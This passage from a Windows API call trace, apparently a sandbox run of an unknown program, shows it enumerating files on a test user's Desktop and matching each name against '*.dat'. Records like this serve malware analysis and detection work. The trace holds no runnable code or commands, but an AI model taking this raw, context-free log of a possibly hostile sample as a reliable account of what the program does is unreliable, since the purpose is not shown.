lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.593] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="MApTBDPnV.mkv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MApTBDPnV.mkv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MApTBDPnV.mkv" [0146.593] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.593] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.593] lstrcatW (in: lpString1="\\", lpString2="MApTBDPnV.mkv" | out: lpString1="\\MApTBDPnV.mkv") returned="\\MApTBDPnV.mkv" [0146.593] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604a0 [0146.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MApTBDPnV.mkv", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0146.593] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2d) returned 0x33400d0 [0146.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MApTBDPnV.mkv", cchWideChar=45, lpMultiByteStr=0x33400d0, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MApTBDPnV.mkv", lpUsedDefaultChar=0x0) returned 45 [0146.593] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2360508 [0146.594] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.594] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.594] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.594] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236aac8 [0146.594] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236aac8, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.594] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236aac8 | out: hHeap=0x2360000) returned 1 [0146.594] PathMatchSpecW (pszFile="MApTBDPnV.mkv", pszSpec="*.dat") returned 0 [0146.594] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360508 | out: hHeap=0x2360000) returned 1 [0146.594] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67bb7db0, ftCreationTime.dwHighDateTime=0x1d7b04d, ftLastAccessTime.dwLowDateTime=0xcf897290, ftLastAccessTime.dwHighDateTime=0x1d7b051, ftLastWriteTime.dwLowDateTime=0xcf897290, ftLastWriteTime.dwHighDateTime=0x1d7b051, nFileSizeHigh=0x0, nFileSizeLow=0x15c27, dwReserved0=0x0, dwReserved1=0x0, cFileName="op27XFjVBcQnQEISZr.avi", cAlternateFileName="OP27XF~1.AVI")) returned 1 [0146.594] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.594] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.594] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="op27XFjVBcQnQEISZr.avi" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\op27XFjVBcQnQEISZr.avi") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\op27XFjVBcQnQEISZr.avi" [0146.594] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.594] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.594] lstrcatW (in: lpString1="\\", lpString2="op27XFjVBcQnQEISZr.avi" | out: lpString1="\\op27XFjVBcQnQEISZr.avi") returned="\\op27XFjVBcQnQEISZr.avi" [0146.594] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604a0 [0146.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\op27XFjVBcQnQEISZr.avi", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0146.595] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x36) returned 0x32baa20 [0146.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\op27XFjVBcQnQEISZr.avi", cchWideChar=54, lpMultiByteStr=0x32baa20, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\op27XFjVBcQnQEISZr.avi", lpUsedDefaultChar=0x0) returned 54 [0146.595] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba6a8 [0146.595] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32baa20 | out: hHeap=0x2360000) returned 1 [0146.595] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.595] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236aab0 [0146.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236aab0, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.595] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236aab0 | out: hHeap=0x2360000) returned 1 [0146.595] PathMatchSpecW (pszFile="op27XFjVBcQnQEISZr.avi", pszSpec="*.dat") returned 0 [0146.596] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba6a8 | out: hHeap=0x2360000) returned 1 [0146.596] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8349a1a0, ftCreationTime.dwHighDateTime=0x1d7a969, ftLastAccessTime.dwLowDateTime=0x6dabcf00, ftLastAccessTime.dwHighDateTime=0x1d7aa2f, ftLastWriteTime.dwLowDateTime=0x6dabcf00, ftLastWriteTime.dwHighDateTime=0x1d7aa2f, nFileSizeHigh=0x0, nFileSizeLow=0xe510, dwReserved0=0x0, dwReserved1=0x0, cFileName="rJjrMg.mp4", cAlternateFileName="")) returned 1 [0146.596] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.596] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.596] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="rJjrMg.mp4" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rJjrMg.mp4") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rJjrMg.mp4" [0146.596] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.596] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.596] lstrcatW (in: lpString1="\\", lpString2="rJjrMg.mp4" | out: lpString1="\\rJjrMg.mp4") returned="\\rJjrMg.mp4" [0146.596] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604a0 [0146.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rJjrMg.mp4", cchWideChar=42, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0146.596] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2a) returned 0x33400d0 [0146.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rJjrMg.mp4", cchWideChar=42, lpMultiByteStr=0x33400d0, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rJjrMg.mp4", lpUsedDefaultChar=0x0) returned 42 [0146.596] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2360508 [0146.596] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.596] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.596] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.596] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236abe8 [0146.596] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236abe8, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.597] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236abe8 | out: hHeap=0x2360000) returned 1 [0146.597] PathMatchSpecW (pszFile="rJjrMg.mp4", pszSpec="*.dat") returned 0 [0146.597] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360508 | out: hHeap=0x2360000) returned 1 [0146.597] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd9f81e0, ftCreationTime.dwHighDateTime=0x1d7b01a, ftLastAccessTime.dwLowDateTime=0xe2e256d0, ftLastAccessTime.dwHighDateTime=0x1d7b052, ftLastWriteTime.dwLowDateTime=0xe2e256d0, ftLastWriteTime.dwHighDateTime=0x1d7b052, nFileSizeHigh=0x0, nFileSizeLow=0x10905, dwReserved0=0x0, dwReserved1=0x0, cFileName="rnniEqI3o7y6BUr8.png", cAlternateFileName="RNNIEQ~1.PNG")) returned 1 [0146.597] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.597] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.597] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="rnniEqI3o7y6BUr8.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rnniEqI3o7y6BUr8.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rnniEqI3o7y6BUr8.png" [0146.597] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.597] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.597] lstrcatW (in: lpString1="\\", lpString2="rnniEqI3o7y6BUr8.png" | out: lpString1="\\rnniEqI3o7y6BUr8.png") returned="\\rnniEqI3o7y6BUr8.png" [0146.597] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604a0 [0146.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rnniEqI3o7y6BUr8.png", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0146.597] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x34) returned 0x32baf60 [0146.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rnniEqI3o7y6BUr8.png", cchWideChar=52, lpMultiByteStr=0x32baf60, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\rnniEqI3o7y6BUr8.png", lpUsedDefaultChar=0x0) returned 52 [0146.597] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba270 [0146.598] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32baf60 | out: hHeap=0x2360000) returned 1 [0146.598] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.598] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236aba0 [0146.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236aba0, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.598] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236aba0 | out: hHeap=0x2360000) returned 1 [0146.598] PathMatchSpecW (pszFile="rnniEqI3o7y6BUr8.png", pszSpec="*.dat") returned 0 [0146.598] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba270 | out: hHeap=0x2360000) returned 1 [0146.598] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23572ef0, ftCreationTime.dwHighDateTime=0x1d7abdc, ftLastAccessTime.dwLowDateTime=0x6e647650, ftLastAccessTime.dwHighDateTime=0x1d7adc1, ftLastWriteTime.dwLowDateTime=0x6e647650, ftLastWriteTime.dwHighDateTime=0x1d7adc1, nFileSizeHigh=0x0, nFileSizeLow=0x112b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="sAj8v.m4a", cAlternateFileName="")) returned 1 [0146.598] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.598] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.598] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="sAj8v.m4a" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sAj8v.m4a") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sAj8v.m4a" [0146.598] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.598] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.598] lstrcatW (in: lpString1="\\", lpString2="sAj8v.m4a" | out: lpString1="\\sAj8v.m4a") returned="\\sAj8v.m4a" [0146.598] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604a0 [0146.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sAj8v.m4a", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0146.598] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x29) returned 0x33400d0 [0146.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sAj8v.m4a", cchWideChar=41, lpMultiByteStr=0x33400d0, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sAj8v.m4a", lpUsedDefaultChar=0x0) returned 41 [0146.598] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2360508 [0146.598] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.598] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.599] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236abb8 [0146.599] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236abb8, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.599] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236abb8 | out: hHeap=0x2360000) returned 1 [0146.599] PathMatchSpecW (pszFile="sAj8v.m4a", pszSpec="*.dat") returned 0 [0146.599] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360508 | out: hHeap=0x2360000) returned 1 [0146.599] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f825a10, ftCreationTime.dwHighDateTime=0x1d7aff1, ftLastAccessTime.dwLowDateTime=0x1dc2ee0, ftLastAccessTime.dwHighDateTime=0x1d7b048, ftLastWriteTime.dwLowDateTime=0x1dc2ee0, ftLastWriteTime.dwHighDateTime=0x1d7b048, nFileSizeHigh=0x0, nFileSizeLow=0x40dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="SfNWHleaQqk8JGe.pptx", cAlternateFileName="SFNWHL~1.PPT")) returned 1 [0146.599] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.599] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.599] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="SfNWHleaQqk8JGe.pptx" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\SfNWHleaQqk8JGe.pptx") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\SfNWHleaQqk8JGe.pptx" [0146.599] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.599] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.599] lstrcatW (in: lpString1="\\", lpString2="SfNWHleaQqk8JGe.pptx" | out: lpString1="\\SfNWHleaQqk8JGe.pptx") returned="\\SfNWHleaQqk8JGe.pptx" [0146.599] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604a0 [0146.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\SfNWHleaQqk8JGe.pptx", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0146.599] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x34) returned 0x32bab20 [0146.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\SfNWHleaQqk8JGe.pptx", cchWideChar=52, lpMultiByteStr=0x32bab20, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\SfNWHleaQqk8JGe.pptx", lpUsedDefaultChar=0x0) returned 52 [0146.599] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba858 [0146.599] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bab20 | out: hHeap=0x2360000) returned 1 [0146.599] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.599] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.599] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236abb8 [0146.599] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236abb8, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.599] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236abb8 | out: hHeap=0x2360000) returned 1 [0146.599] PathMatchSpecW (pszFile="SfNWHleaQqk8JGe.pptx", pszSpec="*.dat") returned 0 [0146.599] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba858 | out: hHeap=0x2360000) returned 1 [0146.600] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1580ca0, ftCreationTime.dwHighDateTime=0x1d7ac89, ftLastAccessTime.dwLowDateTime=0x781c1810, ftLastAccessTime.dwHighDateTime=0x1d7b023, ftLastWriteTime.dwLowDateTime=0x781c1810, ftLastWriteTime.dwHighDateTime=0x1d7b023, nFileSizeHigh=0x0, nFileSizeLow=0xee0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="UEh8BocqrBfZC.swf", cAlternateFileName="UEH8BO~1.SWF")) returned 1 [0146.600] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.600] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.600] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="UEh8BocqrBfZC.swf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\UEh8BocqrBfZC.swf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\UEh8BocqrBfZC.swf" [0146.600] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.600] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.600] lstrcatW (in: lpString1="\\", lpString2="UEh8BocqrBfZC.swf" | out: lpString1="\\UEh8BocqrBfZC.swf") returned="\\UEh8BocqrBfZC.swf" [0146.600] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604a0 [0146.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\UEh8BocqrBfZC.swf", cchWideChar=49, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0146.600] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x31) returned 0x32baa60 [0146.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\UEh8BocqrBfZC.swf", cchWideChar=49, lpMultiByteStr=0x32baa60, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\UEh8BocqrBfZC.swf", lpUsedDefaultChar=0x0) returned 49 [0146.600] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba348 [0146.600] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32baa60 | out: hHeap=0x2360000) returned 1 [0146.600] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.600] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.600] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236aab0 [0146.600] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236aab0, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.600] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236aab0 | out: hHeap=0x2360000) returned 1 [0146.600] PathMatchSpecW (pszFile="UEh8BocqrBfZC.swf", pszSpec="*.dat") returned 0 [0146.600] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba348 | out: hHeap=0x2360000) returned 1 [0146.600] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfb54460, ftCreationTime.dwHighDateTime=0x1d7a09c, ftLastAccessTime.dwLowDateTime=0x4490ee30, ftLastAccessTime.dwHighDateTime=0x1d7a79a, ftLastWriteTime.dwLowDateTime=0x4490ee30, ftLastWriteTime.dwHighDateTime=0x1d7a79a, nFileSizeHigh=0x0, nFileSizeLow=0x24d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="uf7A4eOeh4J7.ppt", cAlternateFileName="UF7A4E~1.PPT")) returned 1 [0146.600] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.600] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.601] lstrcatW (in: 